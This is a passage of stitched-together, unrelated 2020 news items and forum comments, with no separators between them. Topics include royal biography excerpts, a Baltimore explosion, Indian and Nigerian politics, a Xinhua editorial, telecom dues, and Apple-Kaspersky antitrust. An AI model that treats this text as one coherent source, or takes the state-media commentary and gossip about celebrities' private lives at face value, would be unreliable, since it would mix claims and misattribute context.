2018 on a trip to Chester with a source telling the authors the Queen had confidence in Meghan as she is 'very clever and good at understanding what's required.' Writing about the visit authors Omid Scobie and Carolyn Durand wrote: 'The Queen was wonderful, warm, and generous toward the new Duchess,' a source close to Her Majesty said. 'She made sure Meghan knew what was going on and made her feel very much at home because it was her first trip.' Indeed, before the two stepped off the train, the Queen gifted Meghan with a delicate pair of pearl-and-diamond earrings. Meghan, an avid learner studying all she could on royal protocol, was often seen carrying binders full of research so she didn't put a foot wrong. She took her new role incredibly seriously. That day was different, though; she was getting a royal master class in training from the Queen herself.' Meghan left the Royal Family 'emotionally bruised' after frosty final encounter with William and Kate Another revelation in the book is that the Duchess of Sussex burst into tears after the 'raw emotion' of leaving the royal family hit home on one of her final engagements, following a frosty final encounter with Prince William and Kate. The authors of 'Finding Freedom' revealed that tears flowed as Meghan said farewell to close members of her support team after Harry had joined her at Buckingham Palace following a presentation ceremony. It was her penultimate royal engagement and Meghan had met with 22 students who had received scholarships from the Association of Commonwealth Universities. Meghan was patron having taken over from the Queen in 2019. Finding Freedom has been released today After the ceremony Prince Harry quietly slipped into room 1884 where the Queen often receives her most important visitors to see his wife. His appearance and the reality that 'Megxit' was happening led to all Meghan's pent up emotion coming out, according to the authors. The authors wrote: 'After the meeting it was time to move on to the Commonwealth Service at Westminster Abbey. That was when Harry quietly slipped through the door of the 1844 Room to say hello, and the realityand the emotionsfinally set in 'Meghan turned around to hug goodbye the last remaining people in the room, including an author of this book. With the state room almost empty except for a few familiar faces, the tears the duchess had been holding back were free to flow. 'She embraced some of the dedicated team members whose tireless effortsto promote the couple's work, launch landmark projects, and deal with the near-daily crises brought on by the tabloidshad come to an abrupt end. 'I can't believe this is it,' she said, hugging one the young female aides she had become close with. 'Though Team Sussex was a much smaller operation than the more sophisticated offices at Clarence House and Kensington Palace, in the short space of a year since setting up, they had become like family. At the end of the engagement, Harry joined Meghan and gave her a hug before she quickly changed into her clothes for the Commonwealth Service. 'The last hat for a while, guys!' Meghan said with a smile, her tears now wiped away.' It was at the Commonwealth service that the frosty relationship between brothers William and Harry and their wives was laid bare. Kate was said by the authors to have avoided eye contact with Meghan with her husband simply nodding towards Harry. After the service Meghan booked the first flight to Canada and left the UK 'emotional bruised and exhausted'. Harry and Meghan would snuggle up in a sofa and 'binge watch' the TV series 'Game of Thrones' as their romance blossomed The couple also enjoyed watching the hugely popular crime drama 'Breaking Bad' and Disney movies such as 'The Lion King' The viewing tastes of the royal couple were revealed in the eagerly awaited biography 'Finding Freedom' which is published today. The authors said the couple spent much of their time during the early days of their romance 'curled up' in Harry's modest living room watching TV. They said they would emerge 'from time to time' to visit a nearby cinema in Notting Hill and afterwards grab a bite to eat. The authors write:' London was starting to feel like home. On many nights, she and Harry curled up in his modest living room, binge-watching TV (Game of Thrones and Breaking Bad were favourites). 'They also had the same taste in films. Fans of Disney, they loved to watch movies like Moana and The Lion King. 'And thanks to the arrival of awards season in the United States, Meghan was also in possession of a stack of screeners sent out to voters and SAG-AFTRA members. Because Meghan was a member, the pair were able to view the year's best cinema from the comfort of their own home. 'They emerged from time to time, visiting the Notting Hill movie theatre the Electric Cinema to see Hidden Figures or grabbing a bite to eat. They had their tried-and-true spots, including Soho House, the site of their first meeting, and the Sands End, a rustic style gastropub in Fulham owned by Mark Dyer. The former Welsh Guards officerwho accompanied Harry on his gap yearhad always been on hand to offer the prince advice and support.' The book reveals that while in London Meghan was able to fly under the radar and make regular shopping trips to Whole Foods in Kensington High Streeti n West London. The book reveals that while in London Meghan was able to fly under the radar and make regular shopping trips to Whole Foods in Kensington High Street in West London. The couple had flown out for the nuptial of Harry's close friend Thomas Inskip and had purposely booked a secluded room at the Round Hill Hotel in Montego Bay. As they embraced on the balcony a photographer was able to get his shots - despite Harry being assured all 110 acres of the resort would be closed to the public. Meghan was also photographed in her tiny swimsuits' frolicking in the sea with the prince, according to the book. Harry was 'apoplectic with rage and told palace aides to make sure the photos were never published. 'Do whatever needs to be done' Harry is reported in the book as saying. The authors continue: 'In their villa bedroom, Harry was angry and shouting while Meghan was concerned. She more than understood his feelings about media intrusion, how that deep distrust had formed after his mother's death and had never gone away, bubbling up each time a reporter took their efforts to get a story too far. 'But she had never seen him like this. In past incidents with the paparazzi, Meghan had usually been able to find the right words to soothe his anger. 'Often, she was the only one able to calm Harry down when he got into one of his moods. In Jamaica, however, he remained frustrated for days. He was in such a state that even his buddies remarked on his dour mood. 'Although Meghan had never seen this side of Harry before, she wasn't put off by it. Instead, she was sad to see him so affected.' The book also details how Harry cut off contact with his friend Inskip after he voiced concern that he was rushing into romance with Meghan. The pair later got back on speaking terms. The book also revealed the Prince of Wales' official 70th birthday photograph with his family was a 'nightmare' to plan because his sons blew 'hot and cold' with their father. But the book also comments on how when Charles contracted Covid-19, Harry immediately telephoned his father to find out how the 71-year-old was doing. Co-authors Omid Scobie and Carolyn Durand wrote in the book: 'The boys can be hot and cold with their father' disclosed a source, who gave the example of planning the photo session for Charles' 70th birthday, which they called 'an absolute nightmare'. 'Neither William nor Harry made much of an effort to make themselves available', the source said.' Charles' 70th birthday in 2018 was marked by the release of two official images, featuring the heir to the throne sat on a bench with Prince George on his knee, and sat next to him was the Duchess of Cornwall and Princess Charlotte. Stood behind the prince and his wife were William and Kate, with the duchess holding Prince Louis, and Harry and Meghan. The book also claims how the relationship between Charles and Harry was more complicated than a traditional father and son bond. Meghan is praised in the book for her packing skills during a trip to Africa with Harry The authors wrote in Finding Freedom: 'While Charles may be father to Harry, he's also their boss, and that makes the relationship complex for a number of reasons', a source added. 'Charles is extremely focused on his public image, and there have been times Harry has felt that has taken precedence over everything else', the source said.' The book looks back over the events of the last few years, from when the couple first met and fell in love, their decision to step down as working royals in order to have financial freedom and the first few weeks of the coronavirus lockdown. But the relationship between Harry and his father is understood to have moved on from the start of the year when the duke sat down to negotiate with the Queen, Charles and William about his future role. When Charles caught coronavirus in March, the concern aroused in his son is thought to have brought the pair closer. The book says: 'The doctors described the Prince of Wales as in 'good spirits' and his symptoms as mild, it was still enough to fill Harry with worry. 'He immediately called Charles at Birkhall, his Scottish home where he was now quarantined. Harry regularly checked in on his father until he was out of quarantine and recovered - as well as Camilla, who isolated herself as precaution.' BALTIMORE - Two people are now confirmed dead following a natural gas explosion that destroyed three row houses in Baltimore and sent seven people to the hospital, authorities said Tuesday. A man was pulled from the debris shortly before 1 a.m. Baltimore Fire Department spokeswoman Blair Adams said at a morning news conference. Family members identified him as Joseph Graham, 20, a student at Morgan State University who had attended a party at one of the row homes that was destroyed. Sunshine Evans told WMAR-TV that Graham, her nephew, was in the home with two other of her family members when the structure collapsed. They were rushed to the hospital, she said. Isaac Graham, an uncle of Joseph Graham, had told The Baltimore Sun on Monday that his nephew attended a party with one of his best friends and decided to spend the night. He said his nephew was a good kid who was studying at Morgan State and recently launched his own clothing line. Tylor Schnella, a friend of Grahams, told the newspaper that he was always the one that kept everyone uplifted, kept your spirits high. Friends were in disbelief over his death. Everyone was like, Not Joseph. I would never think something like this could happen to him, Schnella said. Morgan State said in a statement that Graham was a rising sophomore pursuing an electrical engineering degree. The university said it mourns the tragic loss of life as a result of this calamitous event and offer our deepest sympathies to the Graham family. Meanwhile, authorities have not identified a woman who was pronounced dead at the scene shortly after Monday mornings explosion. Seven others were hospitalized, five in critical condition, said Adams, the fire department spokeswoman. The conditions of the other two were still being determined, she said. More than 200 people in the neighbourhood were affected by the blast, and about 30 have utilized temporary shelter since the explosion, she said. The natural gas explosion levelled three row houses and ripped open a fourth, trapping people in the debris and scattering shards of glass and other rubble over the northwest Baltimore neighbourhood of Reisterstown Station. Dozens of firefighters converged on the scene to free the injured. Its a disaster. Its a mess. Its unbelievable, said Diane Glover, who lives across the street. Her windows where shattered and her front door was blown open. The exact cause remains unknown, and the Baltimore Gas and Electric Co. appealed for patience as they investigate. No gas odours were reported before the explosion, and BGE did not receive any recent gas odor calls from the block of homes that were damaged, the utility said in a statement late Monday. BGE also said it last inspected the areas gas mains and services in June and July of 2019 and no leaks were found. BGE said in a statement on Tuesday that it was providing information to the Baltimore Fire Department and other investigators regarding the flows of gas and electricity on customer-owned equipment. The Baltimore Sun reported last year that dangerous gas leaks have become much more frequent, with nearly two dozen discovered each day on average, according to the utilitys reports to federal authorities. BGE has said it has thousands of miles of obsolete pipes that need to be replaced, an effort that would cost nearly $1 billion and take two decades, the newspaper said. BGE asked the Maryland Public Service Commission to approve a new gas system infrastructure and a cost recovery mechanism in late 2017 to pay for upgrades. Founded in 1816, BGE is the oldest gas distribution company in the nation. Like many older gas systems, a larger portion of its gas main and services infrastructure consists of cast iron and bare steel materials that are obsolete and susceptible to failure with age, the PSC wrote in a 2018 order approving a modernization plan. This areas gas infrastructure was installed in the early 1960s. When aging pipes fail, they tend to make headlines. Last year, a gas explosion ripped the facade off a Maryland office complex in Columbia, affecting more than 20 businesses. No one was injured in the explosion early on a Sunday morning. In 2016, a gas main break forced the evacuation of the Baltimore County Circuit Courthouse. Under Armour Inc. had to evacuate its Baltimore office after a gas main break in 2012. ___ This story has been corrected to show that Joseph Graham was a rising sophomore at Morgan State University, not a rising junior. ___ Associated Press contributors include Mike Kunzelman in Silver Spring, Brian Witte in Annapolis, and Ben Finley in Norfolk, Virginia. Rajasthans former deputy CM Sachin Pilot spoke to HT about his revolt, why he went incommunicado along with 18 MLAs, his response to personal remarks by chief minister Ashok Gehlot, what he gained from the dissent, and the road ahead. Edited excerpts: What have the last 30 days been like for you? About three-four weeks ago, I was served a notice under sedition charges and as deputy chief minister and party president, I felt it was unwarranted. A lot of us were deeply hurt by that, and a few of our colleagues wanted to come to Delhi to tell the party organisation not just about the one issue, but also about many things we had been contemplating for long. Once that started, a lot of other developments happened, but I think ultimately the objective was to bring the grassroots feedback to the leadership. We were well within our rights to raise the issue within the party forum, and we said that we were raising the issue as Congressmen, as legislators. I dont think anything we did was at all anti-party. You say it wasnt anti-party, but a lot of Congress leaders who were supporting you later said that you could have done it without going incommunicado along with 18 MLAs. The minute we came to Delhi to air our views, the next day itself a lot of acrimonious action started in Jaipur -- FIRs, police cases. A lot of our colleagues felt they would there would be coercive action by the police and administration. I want to place on record that we were here in Delhi, wanting to place our views and wanting to be heard. I think the reactions that came out from Jaipur and the actions that followed, it didnt give any confidence to the legislators that we are moving in the right direction. As far as the opposition party (Bharatiya Janata Party) is concerned, trying to take advantage of what is going on, they have done some politics. We had made very clear from the beginning that there was no question of leaving the party or joining any other party. Lets go back to the sequence of events on July 10, when the crisis in the Congresss Rajasthan unit started. Couldnt you have spoken to the Gandhis then like you did yesterday? There are people in different hierarchies responsible for the communication within the party leadership in Delhi and Rajasthan. Those channels didnt work out very well, as we know in hindsight. Because the actions were being taken very quickly in Jaipur, between the notices and court cases and suspensions, it came to pass that we had to do what we had to do. Because if we didnt fight and stand up for what we believed in, we wouldnt be here today. Im very happy that the Congress president has now assured all of us that a timebound road map is being evolved to redress issues that were raised. When you were incommunicado, what was the objective in your mind? First of all, all of us were here in Delhi and were never incommunicado; we were talking to people, we were moving around. I met a lot of colleagues, and it was not as if anyone was bound anywhere. But yes, some of my colleagues felt apprehensive of the police. The kinds of things that were said while we were here making our grievances heard, it wasnt charitable, to say the least. Lets talk about that -- your former boss said that you are nothing but a good-looking face,that your qualifications were just that you spoke English, and otherwise you were a nikamma and nakaara (good for nothing). At that time, did you think that maybe you needed to look at another party? No, no, not for a moment. But I have to admit when I heard some of the language used against me, it did deeply hurt me. I felt I was wronged and aggrieved, and then to hear the things that I heard. To say the least, it wasnt charitable and was unparliamentary. But two wrongs dont make a right -- Im not going to retort in the same tone and tenor. I chose not to respond. I swallowed that bitter pill and it was the best thing to do at the time. The Congress said that throughout that their door was open .What made you talk to them on Monday and not before? I know what everyone was saying, but the actions were totally opposite. A lot of our colleagues who were ministers were now police suspects. Those actions were also a major aspect of what went on in the past few weeks. Would you care to share the role Priyanka Gandhi Vadra and Rahul Gandhi played in the entire episode? Was Priyanka in touch with you throughout? Priyanka did come last night when the MLAs were there, and had a detailed discussion with every single one of them. We appreciated her taking time out and, as a general secretary of the party, shes played a role. I met Rahulji and Priyanka Gandhi yesterday in Mr Gandhis house and, as then party president, it was Rahul Gandhi who said to me that I should work as deputy CM. He chose Mr Gehlot as chief minister and he did lean on me to become deputy and continue as state unit president. But in the last 18 months, what has transpired... I had to share because it was important for the party to know. The CM said in the 18 months since the Rajasthan government was formed, hes never spoken with you. Is that true? (Laughs) I didnt say that, the CM has said that. But it gives you an insight of what the happenings were there. When I was party president for five years, I didnt seem to have those disqualifications and negativities attached to me. Just in 18 months, they have come to the fore? Bringing a party back to power when we were down to 21 MLAs after elections were lost when Ashokji was CM. At that time, Rahul Gandhiji asked me to be state chief and showed faith in me. Even though I was younger than other leaders, it was my responsibility to take everyone along. There were differences even then but, as head of the family, I left no stone unturned to carry everyone under one umbrella. I think the same course applies for the head of the government. In the end, it is the CM who held on to the support and you couldnt get the numbers together... Its never a competition about whos got more. Whoever the party makes CM will have the majority. The number of MLAs and leaders who had things to say were depending on me to be their voice. I did that. Thirty days later, you are no longer the deputy CM or Rajasthan Congress chief. Do you regret it? If you are taking a position just to have a house and a car, I dont think its worth anyones time. As a political person, you are there to do a job, to do governance, to deliver development; and if you dont have the space and the resources and the authority to do that, then mere positions dont matter. I have said that whatever the party wants me to do, I am happy to do it, I have done it for more than 20 years and leadership can decide what my role can or cannot be. What will you tell the CM when you meet him on the 14th? I have nothing but kind words and warmth to offer him at a personal level. Professionally, our objectives should remain the same - to deliver to the expectations of the people of Rajasthan. I have no animosity, no ill will, no negative sentiment towards him. Gaughan was indicted in September 2018 on charges of embezzling $45,000 from the Catholic-run school by the U.S. attorneys office in Maryland. A federal judge dismissed the case in January after a five-day trial before a jury returned a verdict, ruling that Gaughan should not have been charged in that state because payments for which he was charged were not sent or received there. I would say a lot of things are different. There wasnt a pandemic in 2012. There wasnt a George Floyd videotape in 2012. There wasnt this divisiveness that we see in this country in 2012, nor (was) there unprecedented violence in 2012, Brown said. So there is several layers of differences that I think we all know, but I just want to remind you, you know, pandemic is a big deal, global economic recession is a big deal, civil unrest, George Floyds a big deal, and so its, no small thing thats different today than there was in 2012. Bauchi State Chapter of the Peoples Democratic Party (PDP) has given Femi Gbajabiamila, Speaker of the House of Representatives, seven days to declare the seat of Yakubu Dogara, former Speaker of the House vacant for defecting to the All Progressives Congress (APC). BREAKINGTIMES had reported that Dogara, on July 24 defected from the PDP to the APC. The letter dated July 30th was written by S. Rabo Esq., J. S. Jihrin Esq., A. S. Idris Esq and H.S.Saraki Esq, and submitted on August 6. In the letter, the PDP prayed that Dogara, the member representing Dass/Tafawa Balewa/Bogoro Federal Constituency in the House of Representatives, be removed. The letter read partly: Our client has briefed us that it has been formally notified by Hon. Yakubu Dogara, the member representing Dass, Tafawa Balewa, Bogoro Federal Constituency in Bauchi State, that he has defected from PDP to APC. It is against the background of the foregoing that we demand your invocation of the provisions of Section 68 (1) (g) and (2) of the 1999 Constitution of the Federal Republic of Nigeria as amended by declaring his seat vacant, consequent upon his said defection, within seven working days of the receipt of this notice. Source: Xinhua| 2020-08-11 21:09:41|Editor: huaxia Video Player Close Photo taken on May 21, 2020 shows red flags on the Tian'anmen Square in Beijing, capital of China. (Xinhua/Cai Yang) BEIJING, Aug. 11 (Xinhua) -- China on Monday announced sanctions against 11 U.S. individuals with egregious records on Hong Kong affairs. This is a necessary move opposing the U.S. anti-China forces' flagrant interference in China's internal affairs over a long period of time. It is also a solemn move to safeguard China's national sovereignty, security and development interests. The anti-China forces in the United States have long been concocting rumors and fabricating accusations, blatantly meddling in Hong Kong affairs under the pretext of human rights, democracy and autonomy. They supported and used anti-China "pawns" like Jimmy Lai Chee-ying to incite violence, undermine the rule of law and social order in Hong Kong and sabotage the city's prosperity and stability. The anti-China forces in the United States have groundlessly smeared the national security legislation for Hong Kong and introduced the so-called U.S. sanctions targeting officials of the central government agencies responsible for Hong Kong affairs and the HKSAR government. It exposed the hegemonic nature of these anti-China forces in the United States. The majority of Hong Kong residents are fed up with the U.S. bullying and shameless acts. The Hong Kong Special Administrative Region Chief Executive Carrie Lam said that she and other officials targeted by the U.S. "sanctions" have no fears. The U.S. lawmakers and heads of U.S. non-governmental organizations targeted by China's sanctions have egregious records on Hong Kong affairs. They have recklessly distorted and slandered the "one country, two systems" principle and flagrantly interfered in Hong Kong affairs. The sanctions against them show that China will never back down on major issues related to China's national sovereignty, security and development interests. The U.S. side should face reality, be rational, put China-U.S. relations in perspective and handle the relations correctly. Or it will surely face consequences if it refuses to correct its course and insists on taking more wrong steps. The United States must abandon its fantasy of remodeling China to U.S. needs, stop its meddling in China's internal affairs, and stop its irrational cracking down on China's legitimate rights and interests. Faith vs safety in burials: COVID-19 remains in dead bodies for 9 days says Centre SC asks DoT how it will recover AGR dues from Telecos India oi-Vicky Nanjappa New Delhi, Aug 11: The Supreme Court on Monday asked Department of Telecom (DoT) to apprise it as how it plans to recover Adjusted Gross Revenue (AGR) related dues from telecom companies facing insolvency proceedings and whether spectrum given to these companies can be sold. The DoT told the top court that their stand is that the spectrum cannot be sold by the telecom companies facing insolvency proceedings as it is not their property. A bench of Justices Arun Mishra, S Abdul Nazeer and M R Shah asked Solicitor General Tushar Mehta, appearing for the DoT, to apprise it as to how it plans to recover the AGR related dues from these companies. Will not hear arguments on reassessment of AGR related dues Please tell us what will happen to the DoT's AGR related dues, if the companies like RCOM, Aircel and Videocon go into insolvency then what would happen to the said amount. Tell us how you will recover Rs 31,000 from RCOM and Rs 12,000 crore from Aircel. You have to do something. This is public money, the bench told Mehta. It said the court needs to ascertain the bonafides of the telecom companies who have gone under proceedings under Insolvency and Bankruptcy Code (IBC). Mehta said that he will be filing an affidavit in this regard. He said telecom companies are at varying stages of insolvency proceedings. The law officer said that their appeal against the National Company Law Appellate Tribunal (NCLAT) order has been pending before the top court on the question whether the spectrum given to the companies can be sold or not. The bench asked Mehta as to why did NCLAT dismiss their petition against sale of spectrum to which he replied that due to delay in filing of appeal against the order. Why was the delay in filing the appeal? What would happen if the spectrum is sold out by then? the bench said. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News It said that the court wants to go into cause of initiation of insolvency for these telecom companies and wants to know about their liabilities and what was the urgency for pushing for insolvency. The bench said it wanted to know as how insolvency proceedings were initiated against Reliance Communication (RCOM) even after the operational creditor the Swedish telecom equipment maker Ericsson was paid its dues. How were the proceedings under IBC, revived when the Supreme Court had in its 2019 order directed for settlement of dues of Ericsson? , the bench said. Senior advocate Shyam Divan, appearing for Resolution Professional for RCOM, narrated the sequence of events to the bench. The bench said, our order is binding for all courts and tribunals. How can NCLAT revive insolvency proceedings despite payment to Ericsson? The bench asked the companies to file the affidavit giving each and every detail by the next date of hearing. Senior advocate Ravi Kadam, appearing for Aircel, said as per the company the spectrum can be sold as it was mentioned in the terms and condition that it is transferable and the company has made an upfront payment for it. "Since the spectrum is transferable therefore, it can be sold", he said. He said this stand of the company has been upheld by the National Company Law Tribunal (NCLT). Kadam said that Aircel was not going into liquidation as a resolution plan has been approved by the NCLT. The bench then asked the SG to come prepared on the next date of hearing as how the spectrum can be sold. On July 20, the top court made it clear it will not hear "even for a second" the arguments on reassessment or re-calculation of the AGR related dues of telecom companies which run into about Rs 1.6 lakh crore. The apex court had observed that it was not a reasonable proposal that a period of 15 to 20 years be given to the telecom companies to pay AGR dues. It had reserved the verdict on the issue of timeline for staggered payment of AGR-related dues by telecom companies. The top court, which on June 18 had asked the telecom companies including Bharti Airtel, Vodafone to file their books of accounts for the last ten year and give a reasonable time frame for paying the AGR dues. The top court had taken of the submission of the Centre that there were moratorium in place with regard to some companies like RCom and Videocon as insolvency proceedings against them have started. It had sought details within seven days from the Centre with regard to the pendency of proceedings against some firms under the IBC and said that it would like to ensure whether IBC was being misused to escape liabilities. The Centre had earlier urged the top court that up to 20 years be given to telecom companies for the payment of dues in a staggered manner. On June 18, the top court was informed by the Centre that the DoT has decided to withdraw 96 per cent of the Rs 4 lakh crore demand for AGR related dues raised against non-telecom PSUs like GAIL. The apex court had in October 2019 delivered the verdict on the AGR issue for calculating government dues of telecom companies such as licence fee and spectrum usage charges. After the top court had rejected pleas by Vodafone Idea, Bharti Airtel and Tata Teleservices seeking review of the judgement which widened the definition of AGR by including non-telecom revenues, the DoT had in March moved a plea seeking staggered payment over 20 years. Among the 7,831 returned individuals, 2,075 were party members and government employees, and 348 were listed on Interpols red notice. China seized 7,831 fugitives over the past 6 years and recouped losses of 19.7 billion yuan ($2.8 billion) under a government campaign to pursue corrupt officials and dodgy business people who fled abroad, according to a report by the National Supervisory Commission (NSC), the top government anti-graft agency. The fugitives, who allegedly committed economic or corruption crimes, were either repatriated under cross-border law enforcement partnerships or voluntarily returned from more than 120 of the worlds nearly 200 countries and regions, the commission said in its first work report submitted Monday to the national legislature. The NSC report for the first time the detailed results of Chinas international operations to hunt down wanted fugitives between 2014 and June 2020. Established in 2018 as part of a sweeping government overhaul, the commission combined the previous Ministry of Supervision and the National Bureau of Corruption Prevention and is at the same level as the countrys Supreme Court and the top prosecutors office. The NSC works closely with the Central Commission for Discipline Inspection (CCDI), the Communist Partys top graft-fighting organization, and is viewed as a complement to the anti-corruption work done by the CCDI. As a party organ, the CCDI encountered difficulties in expanding corruption crackdowns to a broader level. According to the report, about half of the seized fugitives or 3,848 were captured after the establishment of the NSC. Among the 7,831 returned individuals, 2,075 were party members and government employees, and 348 were listed on Interpols red notice, an international arrest warrant. Of the top 100 most-wanted corruption suspects Beijing asked Interpol to help apprehend, 60 have been captured, according to the report. Those from the most-wanted list include Xu Chaofan, former head of the Kaiping sub-branch of the Bank of China (BOC) in Guangdong province, who returned to China in July 2018 after 17 years hiding in the U.S. under a cooperation arrangement between the two countries. Yang Xiuzhu, a former Zhejiang provincial government official who oversaw urban development and was at the top of the most-wanted list, surrendered in 2016 after spending 13 years on the run across the world. Huang Haiyong, a Shenzhen businessman accused of smuggling and tax evasion, was repatriated from Peru in 2016 after eight years of negotiations and legal procedures between the two countries. Huang fled China in 1998. Yang Xiaodu, director of the NSC, said the rising number of returned fugitives and recouped assets reflect improving law enforcement capability of Chinas graft busters through international operations such as Sky Net. China launched the Sky Net initiative in 2015 targeting fugitives abroad. The operation captured 7,242 people and recovered 18.5 billion yuan of assets by the end of 2019, the CCDI said in a recent statement. Since 2017, China has published detailed information on some of the most-wanted officials to aid in the search for them. The number of dirty officials and executives who fled China has dropped dramatically over the past few years, according to Yang. In 2019, only four suspects made their way out of China, compared with 101 in 2014. Contact reporter Han Wei (weihan@caixin.com) and editor Bob Simison (bobsimison@caixin.com) Support quality journalism in China. Subscribe to Caixin Global starting at $0.99. Phuket readies for Queen Sirikits birthday PHUKET: Events will be held across the island tomorrow (Aug 12) to commemorate the birthday of Queen Mother Sirikit Kitiyakara, mother to His Majesty The King Maha Vajiralongkorn Bodindradebayavarangkun. Tuesday 11 August 2020, 10:55AM Chief of Phuket Provincial Office Thalerngsak Nuchprahan. Photo: PR Phuket Queen Mother Sirikit will be celebrating her 88th birthday. The day is also celebrated nationwide in Thailand as Mothers Day. Officials of all government offices in Phuket have been ordered to prepare for the events and ceremonies to be held for the auspicious occasion. The Permanent Secretary of The Prime Ministers Office has ordered every official and local administrative office throughout the country to hold events and ceremonies to honour Queen Sirikit on the auspicious day, explained Chief of Phuket Provincial Office Thalerngsak Nuchprahan at a meeting Phuket Provincial Hall last Thursday (Aug 6). Chief Thalerngsak explained that as such, the Ministry of Interior is also calling on all households, workplaces and government offices to be decorated with images of Queen Sirikit, national flags, Royal Standards of the monarchy and yellow and blue ribbons, for the whole month of August. Chief Thalerngsak also invited people to wear blue shirt for the whole month, especially on Aug 12. The official events tomorrow will begin at Phuket Provincial Hall, starting at 7am with merit-making ceremonies with 89 monks, followed by Muslim, Christian, Hindu and Sikh religious ceremonies. At Phuket Rajabhat University, at 9am, attendees will have the opportunity to sign an official book of birthday wishes for Queen Sirikit. At 5:30pm, there will be the ceremony to pay respects to Queen Sirikit and a candle-lit ceremony. All government offices will be closed tomorrow. Although the sale of alcohol on the Queens Birthday is not prohibited by law, police traditionally encourage people to refrain from drinking alcohol on the auspicious day as a sign of respect and in honour of Queen Sirikit. U.S. President Donald Trump takes questions during a briefing on the coronavirus disease (COVID-19) pandemic at the White House in Washington, August 11, 2020. Kevin Lamarque | Reuters An extra $400 Trump's executive order was one of four measures signed on Saturday to address jobless benefits, evictions, student loans and payroll taxes. Top Democratic lawmakers and White House officials have struggled to compromise on another round of broad coronavirus relief since negotiations began about two weeks ago. Unemployment aid was among the thorny issues holding up talks. A $600-a-week federal supplement to state unemployment benefits, offered by a prior round of relief, lapsed at the end of July, throwing jobless Americans' income off a cliff overnight. House Democrats passed a $3 trillion bill in May that would extend those $600 payments through early next year. Senate Republicans proposed a $1 trillion bill two weeks ago seeking to lower the relief to $200 a week in the short term. Instead, Trump's executive order offers an extra $400 a week a $300 federal benefit and a $100 state benefit. Zoom In Icon Arrows pointing outwards Significant questions remain as to how and even if states will implement the measure. Some workers, for example, may get just the $300 federal payment. The benefit would last until Dec. 6 or a $44 billion disaster-relief fund runs dry, whichever comes first. But many may not see extra aid at all. Restrictions That's due to a restriction stipulating that eligible recipients must be getting at least $100 a week in state unemployment insurance benefits. But most states set minimum weekly benefit payments far below that threshold. Roughly 3% of those collecting unemployment insurance get less than $100 a week implying about 1 million people, according to an analysis by Ernie Tedeschi, an economist at Evercore ISI. Forsythe estimates the figure to be around 6%. It's hitting people who were already vulnerable and low-income before this job loss. Eliza Forsythe labor economist and assistant professor at the University of Illinois at Urbana-Champaign These workers are disproportionately low-wage, part-time and female workers (who were more likely than men to have low-wage or part-time jobs), Forsythe said. "It's hitting people who were already vulnerable and low-income before this job loss," she said. But the real figure of people omitted from the federal aid may be much higher. For one, Forsythe's analysis doesn't factor in workers receiving partial unemployment benefits because their hours were cut. Pandemic Unemployment Assistance Many workers currently receiving federally funded unemployment assistance may also miss out on the extra aid, according to Michele Evermore, a senior policy analyst at the National Employment Law Project. That could be the case for the Pandemic Unemployment Assistance program, created by the CARES Act in March, for example. The federal program expanded the pool of workers eligible for unemployment benefits to include self-employed, gig, freelance and contract workers, among others. There were about 13 million people getting benefits through that program as of mid-July, according to most recent Labor Department data representing more than 40% of all recipients of jobless aid. Hyundai Creta | Rs 9.81 lakh | The Hyundai Creta is by far the best performing SUV in the market today. It is big and spacious and has ample space for luggage on long drives. Hyundai Motor India Ltd (HMIL) on Tuesday said its SUV Creta has crossed five lakh cumulative sales mark in the domestic market. The model also remains the best-selling SUV for three consecutive months of May, June and July this year. Its new version was launched in March this year. "Creta has been the blockbuster model in the Indian automobile industry ever since its launch in 2015," HMIL Director (Sales, Marketing and Service) Tarun Garg said in a statement. With the 5 lakh sales mark, the model has set yet another benchmark in the industry, reaffirming a legacy of leadership in the SUV segment, Garg said. The automaker has been continuously strengthening its portfolio with the best-in-segment features and technologically advanced products, he added. The company has also contributed strongly in the utility vehicle segment with four products new Creta, Venue, Tucson and Kona Electric - registering sale of 34, 212 units in April-July period, Garg noted. The new Creta has received over 65,000 bookings since launch in March 2020, he added. The contribution of diesel continues to soar and is now at 60 per cent indicating a strong demand for company's diesel BSVI technology, Garg said. Apple is once again under the scanner for abusing its dominant position to limit competition in the App Store. This time, the Russian Federal Anti-Monopoly Service (FAS) has blamed apple for using its dominant position to ban Kasperskys parental control app. Kaspersky approached FAS after Apple removed the Kaspersky Safe Kids app from the App Store. Apple claims Kaspersky Safe Kid was using the Mobile Device Management feature and thus was removed from the App Store. Kaspersky argues the app had been allowed on the App Store for the past three years and questions why it was suddenly removed. FAS began investigations in August 2019 and says Apple has violated regulatory rules. The Russian Federal Anti-Monopoly Service blames Apple for imposing instruments and opportunities for the development of parental control apps. In other words, the regulatory authorities blame Apple for imposing severe restrictions on the app, thus ultimately causing the third-party apps to loose functionality. The FAS notes that Apple removed the Kaspersky Safe Kids app at about the same time when they launched the Screen Time feature. Both features offer similar functionalities. Developers accused Apple of similar behaviour at the recent anti-trust hearing in the US. Tim Cook took several questions regarding Apples App Store policy and whether the company is building new features by understanding the demand for similar third-party apps. Apple occupies a dominant position with a 100% share of the market for mobile apps based on the iOS operating system because it is only legally possible to install such apps from the App Store. Furthermore, the authorities said Apple reserved right to switch off and block any third-party app from the App Store, even if that app met all of Apples specifications. Apple recently announced it will allow developers to challenge App Store guidelines and will fast track approval for bug fixes and critical updates. [via Interfax Contributed / Hearst Connecticut Media RIDGEFIELD Eversource has said nearly all of Ridgefield will have power back by midnight tonight, and town officials are urging people who still dont have power by 10 tomorrow morning to call in. First Selectmen Rudy Marconi addressed Ridgefield in a phone call to homes in town shortly after noon on Tuesday. I don't think that's 100% professional... everything about Tom just screams fake. Edited at 2020-08-11 06:15 pm (UTC) Reply Thread Link I mean that first anecdote reminds me of the Top Gun interview where he was worried about eating an ice cream in public because "some gays might be around". I don't know what his actual sexuality is, but when it comes to sexuality in general he seems like a deeply awkward/uncomfortable person. Reply Parent Thread Link I feel like he has like fiftyleven things in his closet that he has fear of the allegedly enough to lock him into/onto a cult that hides it all for him and gives him a feeling of just cause to fill his time, energy and money with. I feel the same way about Travolta allegedly , but its a skewed perspective now because hes lost SO. DAMMN. MUCH. to that cult Repression is a helluva drug.I feel like he has like fiftyleven things in his closet that he has fear of the #UnwashedGenPop finding out, but maybe 1-2 people have seen it, wellenough to lock him into/onto a cult that hides it all for him and gives him a feeling of just cause to fill his time, energy and money with.I feel the same way about Travolta, but its a skewed perspective now because hes lost SO. DAMMN. MUCH. to that cult Reply Parent Thread Expand Link Eeewwwwww Reply Thread Link Eww Reply Thread Link Eyes Wide Shut wouldn't work with Woody Allen as the lead. #fact Reply Thread Link I think the buried lede here is probably that the script changed a 